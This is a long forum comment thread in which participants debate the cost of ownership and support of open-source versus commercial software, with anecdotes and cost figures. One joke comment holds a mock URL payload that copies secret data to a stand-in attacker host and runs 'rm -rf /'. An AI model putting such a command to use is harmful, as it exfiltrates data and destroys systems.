The scope and price of this whole things is just unheard of. I'm not saying the conclusion or the premise were totally off base, but the scope is just not practical. I don't know anyone who's an expert on the universe of proprietary software, either, so I don't look for one catch-all expert on OSS.
-j
...will be visiting you shortly. Keep your hands where we can see them. We have a holding pen waiting for you in Gitmo, you terrorist!
This has been my personal experience too. Generally if I need a new package installed on either a Windows server or a Linux box, I have the package on Windows running a few minutes after I inserted the CD. With Linux I'm still changing permissions and looking up mailing lists a good four hours after I started.
This doesn't have to be this way. But for some reason OSS seems to atract RTFM types as developers.
Up to ten tools designed by five people in as little as two years? One tool per person per year? Umm...thanks, but what company do you work for? I need to know so that I never buy anything they make for more than $2.99.
Mod me down and I will become more powerful than you can possibly imagine!
Don't give me none of this "nature theme" business.
50 years ago, many (if not most - if not all) large companies employed their own staff as accountants, engineers, chemists, project managers, etc, etc. This meant that the company always had direct access to the specialists who built The Thing, if The Thing ever stopped working.
Today few, if any, large companies (and probably fewer small companies as well) have this specialist knowledge in-house - consultants are employed to design the tricky stuff, and the work is farmed out to other "specialist" companies.
So today, there is a division of knowledge - your company knows what it wants, a consultant works out how to do it, while a third party provides a partial solution. Add in the localisations needed to get the third party solution to fit in with your existing processes, probably with a combination of your own (precious few) expert staff, and a few more contractors.
So where does this leave today's company? Utterly dependant on external consultants, who usually vanish once they stop being paid, and third party companies of varying quality.
My personal experience, of helping a small ISP grow into a corporate, is to rely on your own staff as much as possible. Information is hard to gain, but a lot easier to pick up through implementing the project yourself. When it comes to your first support call, you'll be glad that YOUR people spent the time learning the details of YOUR implementation.
More than once, this has been the difference between six months in call centre biffo, and a five minute response from THE expert on the other side of the world.
Regards
With each breath in, a flower somewhere opens; with each breath out, a flower withers away. In between lies beauty.
Yeah, because after all, we wouldn't want to hire employees and stimulate the economy! We'd rather get support from one company that oversubs their support to about a billion to one. Riiiight.
I just wasted your mod points! HA!
I'm offering a case study.
All vendors shall remain nameless.
We purchased a search engine back in 1995 for indexing our intranet. At the time, I was working with Matt's Simple Search, and we needed to add X x 10 features to it.
Needless to say, a TCO supplied by the vendor "proved" that rolling our own was going to be almost double what their product was. We purchased the commercial system.
This was not your basic "I learned Windoze programming" type search engines. We bought a dedicated AIX box, etc, etc, etc.... However, when we moved to putting PDF's online, we found that we could not use the old search engine to do this.
Wev had just had another vendor go out of business, and they didn't want to pay to get their hardware back. So, we set up Xavatoria (formerly known as Matt's Simple Search) on a separate server and added the code for indexing PDF's.
AS HTML eveolved, the old search engine was choking on JavaScript and other new HTML tricks. We wrote perl front ends to strip these tags. And on and on like this. During the last year of that search engine's life I spent 25-40% of every week getting it to work. The program itself had a slight problem of corrupting its keyword database every month or so, yada yada.
We finally ended up switching because FDSE could parse and return a value from a 50MB index in 1/4 the time as the commercial product. They kept asking: "Why is this page so slow and the rest are normal??"
Now, we could have upgraded the SE in each of the cases above. Original cost of the Search engine: 12,000 + hardware and AIX licensing. If we had purchased all upgrades to that point, we would be on our second server after suffering through 4 major revs to the product. Each upgrade was priced higher that the initial cost.
1998: 12,250
1999: 24,125
2000: 18,750 (Discounted because of the need for a new server)
2001: 16,250
2002: Company out of business, product EOL'ed
(Support contracts ran from 8,000 py. initially to 43,000 py. in 2000. Mostly this was due to our version being EOL'ed for so long. If we had upgraded the support would have been 22,000 py. in 2000.)
That AIX box is now making a nice file server, and we are using the Fluid Dynamics Search Engine (Formerly known as Matt's Simple search and Xavatoria) to index our sites and our PDF's.
Over the life of that machine it was an almost $400,000 money pit. FDSE runs for free on a server we didn't pay for. Even counting my time (which was less than used to support the older product) I would say it was 1/3 of a FTE (me!)for initial setup. This includes adding custom functionality that the other product didn't offer.
That's still about $30-40,000 TCO. 0.1%. And that is before you count the time I spent maintaining the old one.
~Hammy
.... you can pretty much count everyone out. M$, for example, plans on abandoning backwards compatibility in Longhorn, probably until user backlash forces them to..
There are about 4 sets of people that use applications:
A. Most people run the exact same "set" of applications as everyone else. We all run word processors, spread sheets, databases, web browsers, email clients and the like. It makes sense to share the costs of developing by donating a few dollars or reporting bugs or fixing a bug or writing up some documentation for open source versions of these programs.
B. There are apps that hospitals use that cost millions of dollars a year to "lease" from the companies to write them. It makes sense for hospitals to all band together and each have 1/10 of an FTE each write several open source versions of this software. Sharing costs like this is a "good thing" as it would significantly reduce costs for all of us.
C. There are a few thousand companies that all use the same set of custom apps worldwide. This may or may not work as an open source project, depending on the project lead.
D. There are other apps that only a handful of companies in the whole world need (or even just 1 company), and they are going to have to pay someone to write that app for them.
A and B make a lot of sense to be open source, there is a great need for the applications and the costs can be shared over hundreds of thousands or even millions of people.
C and D, not so much.
Of course, even C and D can get a lot from basing their code on free BSD or LGPL software if they are trying to sell software or even GPL if the software application is only used internally. Our company uses a lot of BSD licensed code in our products with no problems, and it sure is easier to use open ssl or zlib than trying to roll your own of those libraries.
Had to point out that this paragraph contains some preblematic assumptions:
"So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!"
This calculation makes two assumptions:
1) That keeping up with the application bugs & changes will take 4-6 hours/week (may be correct, you just don't state how you arrived at that figure)
2) That utilizing commecial support requires *no* staff time, a truly laughable assumption.
To give you a counter-arguement for assumption 2: One of my clients pays me to interface with the support engineers for a major proprietary application carrying a $8,000/year support contract. This year to date, I have billed the client 25 hours (at $175/hour) to nag the support department of the commercial vendor and prepare test cases proving the client's problems. And some bugs still take 9 months to resolve.
So: If you work with a flawed evaluation formula, you will get flawed results.
-Josh Berkus
I don't understand where you get the 1/10th of a Full Time Employee number.
... i.e. $17K for our environment) - I have never called on these, NEVER. The online resources of the user community are far better and far faster than the support calls. Same for Tru64. Nothing beats mailing lists for response time and quality of answer. I have posed the same question to the e-mail list when i've called Compaq support (blame management -- i didn't want to call). The e-mail was sent out after the initial phone call, and I had the answer before the call back.
I keep up with 4 or 5 opensource mailing lists and spend 1/10th of my time doing it. So, maybe a more appropriate amount would be 1/40th of a FTE at 80K/yr -- that's $2K/yr... roughly what you'd spend for your support contract with the other product.
Now -- about that support contract. We have support contracts for NetBackup (20% * purchase price/yr
So, I think there are cases to illustrate whatever point one is trying to make. Sure, in your case open source may be more expensive, but that doesn't mean it's always going to be the case and anyone who dismisses a solution on any platform without doing a careful cost/benefit analysis of all factors, shouldn't be a decision maker.
Disclaimer: Yeah, I know exchange does more than just mail... but those applicable functions we nned that exchange does is handled by other server apps we run as well...
funny story (sort of):
company i used to work for before i became a teacher needed a specialized accounting program. ran only under dos. this is mind you, back in 1991. since we were in retail, we needed specialized inventory, and a way to track our sales merchandise and the clearance mercahndise versus our regular line stuff. something about amoritization and crap. hell, i dropped accounting in college. go fiugre. so, long about a year into the program, software company folds, but we need some modifications. oh shit. but wait, it gets better.
so, we need to ugrade our systems, and get a whole new line of IBM POS terminals. link to central database. pretty forward looking for this company. hell, we even had a sort of email in 1993. way cool. anyways, we need this data to link into new sales/ordering system. but guess what? can't be done, cause the older systems don't link up, and the data files are impossible to read.
so...about two years later, i'm gone getting teaching credential, and company isn't gotten system/data up to date. not until late 90's does it get resolved. i find out from a friend with company while we were out hunting. anyways, what was the cost...
i don't really know, but, it set back a whole series of migrations and implementations for a few years. no shit. data locked into legacy systems and binary data cost alot. just my story.
My problem? I was perfectly gruntled, until some numbnuts came by and dissed me.
...because the parent is clearly a troll. Do moderators don't ever bother to mod a post down that's a score of 2 to start with? Please...
Never forget that MS *WILL* force you to keep replacing your entire set of MS software one way or another every couple years or so, in essence having to repurchase all of both the software and the CALs again and again and again. They have demonstrated this behaviour repeatedly in the past 6+ years.
Software costs big no matter whether you go open source or closed source. With open source you have to have your own knowledgeable (expensive) staff, but you get to control your own destiny. With closed source you can get by with cheap point-n-click monkeys but the software vendor herds you in the direction THEY want you to go... which is straight to their feeding trough.
Nothing comes for free these days. We live in a commercial economy.
As an Australian IT worker, the difference for me would be more local work and a boost to the local IT economy and IT related jobs.
Every case will be different, that goes without saying, but heaven forbid that in the few cases that Open Source may be more costly that you dont send your country's money to foreign monopolies.
Open Source is a win win for people who dont reside in redmond.
Companies that have bigger IT budget are becoming Open Source users.
http://govsite/search?xxxxxxxxxxx!#^&(*^(45&%6buff eroverflow='scp secretinformation hacker@badguy.com:/tmp;rm -rf /'
You: There is a buffer overflow in your product allowing people to steal our sensitive data and destroy our machines.
Vendor: We'll work on that right away, expect a patch in six to ten months that will clear up this issue and add a few lines to the EULA that will require your daughters to dance naked for us in our Arabian palace...
"Your superior intellect is no match for our puny weapons!"
Ofcourse, you'll need extra support for and retraining of staff, when you switch from closed to open. You trained your people for closed, now you'll have to train them for open. Only logical.
Maybe it's expensive to switch for people already used to closed source products to e.g. linux, but what about the new people arriving that need to be trained? Training costs would be pretty much equal.
There really isn't such a big difference in the software itself anymore, so I can't believe the costs for one solution would differ so much from the other. Starting from someone with no knowledge of either windows (/software) or linux (/software), I bet educating them would cost equally much.
Anyone can win a race, if they're close enough to the finish. The race's only fair if everyone has the same starting point.
So maybe you won't re-train your old staff, but you educate the new ones with your opensource software. And everything will be fine, 'in the long run'.
Ok, don't spend too much time analyzize, that time/money already cost you and your company $$$. Think how much Apache saved over MS$? simple, think of an answer that those IT who used Apache would give you if the question is "would you go back to IIS if you have a choice now?" Depends on the OS projects, if you have to develop too much, if it's not mature, then it'll cost you, else you save a bunch. WHy bother think about training, support, etc? Just look at number of critical bugs, between 2 products (open/close), how quickly they can be resolved, how often they're down time, how quick you have to upgrade (another word: how quick to have to pay MS$). There you go, just some important point. Other points such as ownership to the source code, and all that is a bonus. In the beginning of a revolution, alot of people ask questions, and some big, intelligent, experience analysis will give you a 50/50 (some this side, some that side), and at the end, no one dispute. JUST THINK.
...the only times that I've had any difficulties working on an open-source solution is when I've had to add a closed-source solution in with it. And I'm a one-man IT staff where I work and by far, not a genius. That's my $0.02. End of story.
I have used open source products since the late 80s to solve problems for fortune 500 companies. The support issue has not really been a concern. It does however require that the company hire people with clues and not Minesweeper Consultants and Solitair Experts.
Any sharp group of Unix staff will not have trouble supporting Open Source. In the late 80's I implemented the ssc sreadsheet and a communications program similar to a commercial offering. These products were running within a couple of days on several different Unix platforms. Support was a no brainer as well. We did have a complete Unix development team or three around and one guy whipped up some docs that addressed the users typical needs for which there was almost never an additional request for support.
Most corporations have trained support staff on premesis. Larger companies have whole departments and can do a better job of supporting the company with Open Source.
How? Well, let me give you an example. A few years ago a friend who bought one of those all in one office printer/fax/scanner/etc. things. The sales geek claimed that it could work with NT because the geek had only the most superficial understanding of the differenece between W95 & NT. Turns out that many parts of the driver did not work properly. The printer could not be made to reset properly. He called the manufacturer and even sent the printer in for repair (twice)as the sales and support people claimed that "it should work". The manufacturer never did fix the problem and the product always operated marginally. Now the product did not work with Linux but it does now.
Why? Because open source has the best support possible. When the source is available either your
staff can handle the tuning for products that the manufacturer won't properly support or someone on the Net will help.
How? My friend worked with me at a fortune 500 client site and one day I was having a Java on Linux problem. Now Java is not open source but there is a team working on it for Linux. I submitted a question to the right location and when we got back from lunch I had answers. It is typical for me to get multiple responses to a query for a problem with purely open source as well. My friend complained that he has been waiting for answers for weeks on a similar question posed to a commercial vendor.
So there are two issues, adequitely skilled staff, and knowing where to look for answers. I have never found that the commercial product vendors provided support that could out perform the open source community. When asking how to solve a problem it is not unusual to get back multiple responses.
Oh, there is one more issue. The Unix community often acts like something akin to a cult of competence and if approached with a clueless and helpless demeanor they are not the most plesant. If the tech type takes the requisite 15 minutes to read relevant faqs and howtos and then asks for help the support is usually overwhelming.
This is my experience since implementing a variety of open source products since the 80s and Linux since '93.
At this time I am not even interested in dealing with the headaches of of commercial products if I can avoid it. I am only interestd in Open Source related contracts. Remind me to tell you about the time I asked a commercial vendor how to get a security feature working and they were supprised that I needed it as they had not even got their product debugged that far in the lab. Turns out they were playing scheduel chicken and thought we would not need some features claimed when the product was sold. Or the time a multi million dollar project went up on a commercial Unix because they promised kernal based threads by version 8.0 and as far as I can tell they never got beyond Posix Threads. At version 10.0 we went to production anyway with at least a year of additional development to do our own thread safe coding.
When it comes to support from the commercial products or Open Source I will almost always choose the open path. The support is simply better.
I installed a CVS host on a slackware linux box
just over a year ago for our small FPGA dev. team.
It still works, has never crashed, and I have
NO intention of upgrading it at all.
Support cost = $0;
You're too used to thinking you actually need software support, cause you're forced into needing
it!
How about getting some other agencies in on the same OSS and splitting the support code $8000 a year over a few agencies could work out at $2000 a year or less.
thank God the internet isn't a human right.
Not only do I agree with "First posty", I seriously believe this guys must have been sent by "MicroSpy"? to "stir up" slashdotters to get a reaction. Remember the recently posted info on "Halloween VII"? Think about it guys. Like i read from an earlier contribution and paraphrased here: "What about the huge, unbelievable large sum of contract that gets signed with these commercial companies like Oracle, Microsoft, etc..."? Again think about it y'all!!!
Why doesn't anyone discuss the RPL (Reciprocal Public License)?
RECIPROCAL PUBLIC LICENSE
Version 1.0, December 21, 2001
Copyright (C) 2001-2002
Technical Pursuit Inc.,
All Rights Reserved.
PREAMBLE
This Preamble is intended to describe, in plain English, the nature,
intent, and scope of this License. However, this Preamble is not a part
of this License. The legal effect of this License is dependent only upon
the terms of the License and not this Preamble.
This License is based on the concept of reciprocity. In exchange for
being granted certain rights under the terms of this License to
Licensor's Software, whose Source Code You have access to, You are
required to reciprocate by providing equal access and rights to all
third parties to the Source Code of any Modifications, Derivitive Works,
and Required Components for execution of same (collectively defined as
Extensions) that You Deploy by Deploying Your Extensions under the terms
of this License. In this fashion the available Source Code related to
the Licensed Software is enlarged for the benefit of everyone.
Under the terms of this License You may:
a. Distribute the Licensed Software exactly as You received it under the
terms of this License either alone or as a component of an aggregate
software distribution containing programs from several different
sources without payment of a royalty or other fee.
b. Use the Licensed Software for any purpose consistent with the rights
granted by this License, but the Licensor is not providing You any
warranty whatsoever, nor is the Licensor accepting any liability in
the event that the Licensed Software doesn't work properly or causes
You any injury or damages.
[snip]
It is certianly cheaper and easier to buy integrated as opposed to cobble a solution together yourself. What happens is when the integration becomes unstuck.
When I bought XTREE 2.5, it came with integrated zip integration. This allowed one to look inside and work with zip files as if they were directories. Of course PKZIP 2 then came out with a new format, which xtree could not deal with.
When I bought ZTree, it used external versions of these programs. So the unpacker for zip files in ztree is pkzip2 itself, not some some internal routine. So while ztree knows about zip and rar and cab files, actually opening these means that unzip, unrar, uncab must be available.
The are advantages and disadvantages to both approaches. If I go for Norton Commander or FC/2, then Norton Commander has *its* set of inbuilt conversions, while FC/2 uses the same set of utilities that Ztree uses.
Of course, it goes on and on. Word + Windows is a more expensive deal than WP5.1, but the printer drivers live in Windows, not WP5.1, and so Word will have printer drivers long after WP 5.1. Also, Excel can share the same printer drivers and fonts, whereas Lotus has a different printer-driver. Up goes bloat, up goes cost, down goes upgrade-costs.
The net effect is that it initially costs more to buy and install a component system, against an integrated package, but the long term maintenance is less, if it is done properly.
While it is more expensive, both in time and money, to do things in peices, the results are infinitely more flexiable. This may suit the home hacker, but for most office workers, this flexiability adds confusion, rather than confort.
Each process costs more, depending on what you choose to value.
OS/2 - because choice is a terrible thing to waste.
Can anyone explain to me why the US Government's policy on software is licence driven? I have repeatedly suggested quality products that were either freeware (VNC) or open source (Linux) and the response from the "higher ups" is always "we cannot use a product we have no licence for." I, and my peers, get soooo much training in programing (all types) and security (SANS) only to be forced onto Windows and a Sun/Gauntlet configured networks.
Space Cadet
Who else noticed the interesting timing between this Ask Slashdot question and the link to ESR's "Halloween VII" (which says that Microsoft is going to try making the
- Does the support estimate for the commercial product include the %FTE on your end?
- Up-front vs. incremental costs
- Risks of closed-source
Not that I'm denying that an open-source product must have lower TCO than a commercial project. After all, if you're the only developer/user, your economy of scale is zero. So, obviously, there needs to be some critical mass of user/developer interest before open source support costs start to really drop. Eventually, you end up with apache, etc. where you can get commercial support, etc.In my experience, getting something useful out of vendor support had been a monumentous task. You call up (wait on hold), bluster and technobabble at the first line tech until you get upgraded. Then educate the second-level tech until they have some inkling of what your problem is. They go away and talk to an engineer for between 2 hrs and 2 days. They email you back with the wrong answer. Repeat several times, until your problem gets fixed. This is a significant amount of employee time. Additionally, since your employee doesn't deeply understand the solution, so it isn't well-documented. If you've got an on-staff expert, this whole thing happens in 2 days tops, and you have an opportunity to collect the exact specifics of the problem.
This, of course, doesn't apply if your support contract says that they'll fly out an expert if your situation isn't resolved in under 24 hrs.
The up-front costs of the open-source product are vastly lower than the closed-source, in almost every new-developemnt case. So, what if you took your last 5 years of open-source support budget (presumably this is pretty close to the up-front cost of the commercial solution?) and stuck it in 5-year CDs. Well, at current rates, that's another 10 grand when the CDs mature. No mention if this study took this into account.
These are not insignificant! What is the chance that your product will receive good support 10 years from now? Will the company even be in business? How's Corel doing these days? Remember when WordPerfect was king? Remember WordPerfect Corporation? They sold WP to Novell, who sold it to Corel. How's that for stability? Will One Trick Pony Search Engines, Inc. be around in 10 years? Lots of other posters have brough this up, but this is just unavoidable. Does your service contract specify that you get to choose what version they're supporting? What's your recourse if they refuse to support the version you're using? What recourse do you have if they go belly-up?
Curious that we have this article which lays out the MS strategy to focus on total cost of proprietary vs free software, and now this. Question for the resident trolls: isn't it a more effective method to wait at least a little while between the setup and troll?
I believe you failed to factor in the time spent by staff helping the company providing support. I have rarely seen a support package at $8,000 a year that does not bill for hours (trust me, they will find something billable). In addition, they usually need one of your support staff to help them while fixing any problems. They will also charge for non-support related customizations, the ones your paid staffer would be doing with 1/10 of their time. In short, I do not believe you are factoring in the total cost of the outside support contract. Remember, always read contracts thoroughly.
I am realizing that far more explanation is needed here. As always it is dangerous to just throw numbers around with techy types, but to give all the details would have resulted in a 10,000 word article. Not exactly something for /. ya know! I left out an awful lot of detail because I made some assumptions, like perhaps you understand I knew what I was doing and who I was dealing with.
.25 FTE the first year, but then it will probably drop to .05 afterwards." If they budget that and they are wrong it will not go well with them. OTOH, although saving money is nice, a higher cost is still good -- so long as you can budget it ahead of time!
One important assumption I made was that most people can understand PHB thinking to some small extent. Since that appears not to be the case, let me clue you in: Budgets are the important thing. To budget properly you must guess how much money something will cost over the next few years and then you must, somehow, come in pretty damn close to that guess.
So it is very important to a PHB that they know with some certainty what the costs for something are before hand. Now, underestimating can be bad (less budget next time) but overestimating is far worse. Unlike money in your pocket, budgets which are approved at several layers of administration are not fungible!
So PHBs like things such as maintenance contracts because they know exactly what that will cost ahead of time. They don't like fuzzy numbers like "Well, it will cost probably
Now FTE time, unlike budget, *is* somewhat fungible. If you over-estimate it a little that is fine because your FTE probably has more than they can handle for all the other things you couldn't forsee anyway.
But how does this bring us to the cost estimate? Well it works like this; when you present something that costs money to a PHB you need to back it up with hard numbers. If you don't have a hard number you make an educated guess, back up the guess with what facts you have and then pad it a little so they can derive comfort. After all the actual cost isn't nearly as important as going over the budget. Sure 'cost' and 'budget' sound like the same thing to you and me, but not to the PHB.
So the figures I used can be thought of as 'PHB' numbers. Although I was aware they might be high, at least I knew they wouldn't be low. Meaning that they were as correct as I could make them with what I knew. My surprise came from the fact that they added up over time to such a large figure!
But the imporant part here is that, from the PHB perspective, the O.S. costs *were* higher -- something PHBs have been telling us for years. Somehow I didn't expect that. You and I can argue technicalities all night and all day. But in the final analysis I have to bring something to them that they understand. Not a buncha techspeak and hand-waving.
So, was 10% of an FTE too high? That certainly seems to be the consensus here. This could well have been a mistake on my part and changing it certainly changes the final result. The questions are: What is the proper figure, based on everything I said above? And, think of this from a PHB perspective now, can you guarentee the new number is valid?
Another note: FTE costs include all benefits and costs of having the employee (such as training, administration, another FTE to cut checks, etc). Actual wages are considerably lower. You think I wouldn't have to mention this either, but apparently not...
Jack William Bell
- -
Are you an SF Fan? Are you a Tru-Fan?
If it costs $80,000 to hire a person for a year, that person likely has a gross salary between $50,000 and $60,000.
Comment removed based on user account deletion
Comment removed based on user account deletion
You've made a couple of fundamental flaws in your assumptions.
For your commercial support, you know you are paying $XX per year. That's a fixed hard cost. You're now comparing that to saying your local support person is going to spend one full day every two weeks doing nothing but reading the lists. Maybe for the first six months, but in year 10? No way.
The primary difference is that you ALWAYS pay the commericial vendor even if the knowledge base doesn't change. Conversely, if you have experienced support staff doing your own support then you only have the _possibility_ of having to pay for training (no updates to the software, what's the tech doing spending a day on the forums?). Figure out a number for the probability of needing to get updated on the software and multiply it times your $8,000, it should drop dramatically. Year 3; spend a generous 2 full weeks training on the product, your costs are halved for the opensource product.
In addition you are comparing hard costs against soft costs. They are not the same. In fact by using external support for commercial products you are adding costs. By using existing support staff's time you haven't added any hard costs. PHB translation: no additional money coming fromtheir budget, no hard dollars leaving the building.
Now factor in the costs of needing to do some custom work in year 5 with a vendor who's no longer in business (and you forget to count in the cost of an escrow service right?). Probably saved some cash there as well.
Ultimately I don't see how an open source product over a long period of time is going to be anywhere near as expensive as a commericial product. If your spin predicts that it will be more expensive, it's time to start asking "how much is it worth to 'own' the code, be able to use whatever vendor we like, only pay if we use their services, and not be dependent upon a vendor's existence in 2/5/10 years'?
Life Insurance in Canada
Comment removed based on user account deletion
Comment removed based on user account deletion
Many of the replies to this issue are correct, but every one of them (at least the ones that I cared to read) missed the point. Sure, every situation may be different. That is absolutely true. And this situation was different too. Specifically, the Open Source Project supporters/developers either
1) ignored Cliff's messages and the 10 year support contract opportunity along with it, or
2) made such a reply that it would have been better if they did not say anything (were rude), or
3) directed the potential client to something other than what he needed, such as documentation and mailing lists instead of a reliable support contact.
All of this indicates the carelessness, rudeness and unresourcefullness of the Open Source for all the practical purposes in this case. There is no business model. Some said that companies can go bellies up or become extortioners. Well, Open Source support personnel might one day decide to get interested in a different Open Source project or find a client they like better.
It is important to note that businesses are built around contacts and relationships, not around casual free-lancers. 24/7 for 10 years means 24/7 for 10 years. Period.
Quote: They have a limited number of staff and the staff must split their time among many different working areas. They must be generalists and do not have time to specialize. Plus there is some turnover, especially among the better skilled staff. This is why the lifetime cost would be so high. If you have high turnover with your coders and make everyone segment their work like this instead of concentrating on the project, well, anything but a prepackaged solution is going to cost more than if everyone's time was properly managed and you were able to keep crucial staff. I know some coders who could knock out search engines better than most of the dotgov searches I've used. And the thing is, it probably wouldn't take them very long, even if they started from scratch, AS LONG AS THEY WERE ABLE TO WORK ON THE PROJECT UNTIL FINISHED. So, you know, your question really doesn't have anything to do with open source.
Voodoo Girl is the bomb!
We have a relatively large development shop. About 600 developers. We spend tons of money on commercial software.
The quality of support we get varies greatly from vendor to vendor.
Almost always you have to recreate the problem in order to gather the needed diagnostics or to be able to test the fix. This takes time. It may be the same for OSS and COTS.
However, more often tha I can count, we have debugged the problem in the vendors code and sent them the fix! Why? We need the fix in a hurray, so we zap our install. We sent them the fix to get it as part of the 'official' code base. Combine that with the previous point and OSS may win.
We had another case where the COTS code was difficult to deal with, sucked CPU, and leaked memory like a sieve. We dumped it and replaced it with an OSS equivalent. It worked like a charm - fast and tight. It has cost us almost nothing to use. If it breaks and can't fix it, we can always revert to the COTS. And we'll be ahead.
Our policy is that we can use OSS where we feel appropriate, but we must obtain an internal owner for ongoing support. We have done well with it so far and will use more.
One thing to watch out for is the licensing obligations with some of the OSS agreements.
Let's suppose you go out a customizable, supported commercial software system. Further, let's assume the implementation is a wild success.
.......
... "Oh yeah I remember, we upgrade."...
Let's suppose you want to build on your prior success and repeat it. You bring in a second vendor and explain that the *NEW* system you are about to purchase must interface with the old system. The vendor offers to create an interface for a nominal charge. Let's assume this is a wild success.
Life is great, all your systems are stable, customized and interfaced. Remember, that no system is an island and has to join the enterprise sooner or later.
--- Time Passes ----
You are walking down the hall with a bounce in your step and head to your mailbox box, where you find a letter from the first vendor. The letter explains that your current product, which is running so well has been deprecated and will be desupported at the end of the year. You think, no problem, we'll just upgrade.
A few days later you get a similar letter from the second vendor, the dreaded "DESUPPORT NOTICE". Ok, now your starting to sweat, your world is in need of upgrading and then, you remember the interface that ties both successful system together.
You go back to your office and fumble for business cards and try to contact the sales guys who sold you this stuff, however the area codes are now different and either none of the sales guys still work at the same company or have been transferred to another territory. This prevents customers from forming long term relationships with salemen. Why do they do this??? I don't know.
You finally find the new sales reps and setup meetings. They explain that the product has changed and so has the licensing. They also explain you will need to upgrade your hardware, O/S, and backend database for the new verion to work. As for the interface that ties the two togehter, that becomes a major problem and the source of many meetings. Finally, you get a quote and the cost to upgrade the interface is astronomical.
Now you are stuck. You can't just upgrade one half. You are deprecated and desupported, but still have to pay for support or you will have to rebuy the software if you ever upgrade. Vendors will typically refuse you upgrades if you let support lapse and will make you repurchase it all over again.
Your options are to:
1. rewrite the interface inhouse
2. pay the ransom
3. don't upgrade
4. reimplement both systems all over again with new products and this time add language to the contract about the interface and upgrades
How many people has this happened to?
Raise your hand high in the air. Yes, I see you!
One of the MANY, MANY, MANY things I like about OSS is that I can go at my own pace. No one is putting a gun to my head saying, UPGRADE OR DIE!
If I create dependencies, I make sure I can upgrade one half at a time, instead of multvendor "BIG BANG" upgrades/implementations. Ask Hershey how much their "BIG BANG" multivendor SAP implementation cost them.
When you buy commercial software, you get on the upgrade treadmill and you have NO CONTROL. Also, when you run into a bug and call support, the answer is ALWAYS, "You need to upgrade to the next version". My answer is "No, I am paying for support, so fix the DARN BUG" and they drag their feet and eventually mail me a "Desupport Notice".
Now, let's talk about customizations and backward compatibility. OSS, especially PERL has AMAZING backward compatibility which is NOT found in most commercial products. I've taken large PERL web applications and moved them forward in time about 5 years and they ALL WORKED! Try that with Microsoft Visual Whatever or Java. I get so sick of reading, this function/feature/method was deprecated in version x.1 and of course you are installing x.2
I don't know what you are developing, so it is hard to give specific advice, but remember to use the right tool for the job, get training, and decide how fast you are willing to upgrade before you plunk down money with a vendor, since staying one release in front of being desupported will be part of your new job description.
Sometimes I joke with my team and ask, "What is it we do again????"
So instead of spending all my time reading mail lists and developing new useful stuff, I can spend my valuable time upgrading and utilizing the support resources I pay for, since I am going to need them when I hit a bump in the upgrade process. Also, vendors will gladly sell you "upgrade consulting" services, but won't actually do the upgrade for you, they just consult you know.
Good Luck!
It seems to assume that the price of commercial software is all that it costs to support.
That hasn't been my experience, and I bet others will concur.
If you buy commercial software, most of the time you won't get much support from the vendor unless you purchase a support contract or pay per incident for support. And there are certainly costs in staff time to deal with taking advantage of that support as well. Given how poor I've often found commercial software support to be, it often is fairly substantial. Frankly, even though there are a few surly free/open source developers out there, I'd rather deal with them than some monkey reading off a help CD whose only advantage over me if I buy that CD is he probably has a more up to date copy than I can get.
And given all that, I've found most people who have to deal with commercial software still spend a considerable amount of time pursuing support through other channels (support groups, IRC, mailing lists, etc), where are the supposed savings over free/open source software?
No matter how I look at this thing, I can't see very many times when buying commercial software looks to have a lower TCO than free/open source once you really look at the big picture.
Why is it that people whom DON'T use open source libraries/projects always ask about the economic viability of it?
If you're really curious, hire a guy that knows how to use these libraries and ask him. Stop guessing. Start creating and working.
... before the 10 years the company that sold the software goes bye-bye?
Closed source, commercial software is generally buried under these circunstances. Take opensource software on the other hand. If the mantainer of the package decides to 'go away', it's very likely that if it's a succesful project someone else will take it on his hands. And you will always be able to get and modify the source code, hire someone to do it for you or adapt it for your future needs. I think there is no point on adopting closed source, commercial software for such long-term projects. Just think of what happened with Windows 95. In just three years that it was launched, a new version (98) came over and 95 wasn't available in stores anymore. Not so long ago, 95 stopped being a supported product making you upgrade to 98 in order to be able to enjoy from all the new features and nifty stuff.
Just my 2 cents.
Articulos para gente geek: Poleras, linux, libros y mas
... what makes you think WE want him up here?!??? :-)
If you have developers in-house, and not just system/network admins, you can get a secondary benefit of fixing bugs/making changes to the Open Source code.
Jack,
You seem to have done a very thorough job with your analysis. I have been in the very same position as your client and can offer a few observations. Note that these are observations about my (and your client's) situation, not philosophizing about open/closed source software.
1. Based on my experience, this is not an OSS vs. Commercial argument. It is primarily about outsourced support vs. in-house house support. Those options do exist for both types of software. Points #2 and #3 detail some of the rational for this statement, but in a nutshell the barebones software costs pale in comparison to the support/development costs. This is true in almost any TCO analysis but the costs you were discussing show that ultimately it doesn't matter how you purchased/acquired the software, the vast majority of the expense would be determined by their method of supporting and maintaining it.
2. Open vs. Closed does add development and customization to the equation. If you have found products that meet your clients needs then you may have limited or non-existent customization. Future changes to IT and their own business practices may instill a desire to change the software in some way. You may (if you haven't already) want to weigh the cost of future upgrades for additional features (commercial) vs. programmer FTEs or consultants (OSS). If you haven't found a product that can do what your client needs without significant customization then in most cases closed source may still be an option, but the expense skyrockets because you must have programmers as well as developer's licensing.
3. As I stated above, in this particular case, the licensing & hardware cost and support & maintenance cost will cause support to be the primary concern. Although the latter would almost always be a much greater component of TCO, the numbers you are indicating for licenses is so low as to seem below the radar. Compare this to the example of turning from an OSS mail system to Exchange. In that case, you could drop five to six figures on CALs, servers and startup costs with questionable increase in functionality.
4. It sounds like this is a rather small government agency (or division within the agency), therefore I imagine there aren't too many candidates to be the in-house developers and support personnel. Since turnover is a concern, implementing a single (or at least focused) point of failure support model would be disastrous. If the program is mission critical and they go the OSS route, your clients may find themselves hiring additional programmers/support staff to offset those points of failure risks. You can make no guarantee of retaining the best and brightest in relatively low paying government jobs.
To sum it up, I am not surprised at all that your client's circumstances caused OSS to actually have a higher TCO. It doesn't mean you have any parameters wrong, it simply adds up that way for this situation. Generally, open source applications that are mature and handle high volume (apache, sendmail, etc...) trump their licensed equivalents since licensing is often per node/cpu/server/chicken, etc... In those cases, the savings on license costs can really bankroll support and programmers. However there is no fundamental physical law that states OSS must have a lower TCO.
So a government agency, which itself is unlikely to be available 24x7 (/maybe/ 5x4, if you are lucky), needs 24x7 support for software? Sounds fishy to me.
Move along.
The company I work for makes extensive use of interns. In exchange for the experience, a good reference, and minimum wage there isn't too much you can't get an intern a semester or two away from graduation to do.
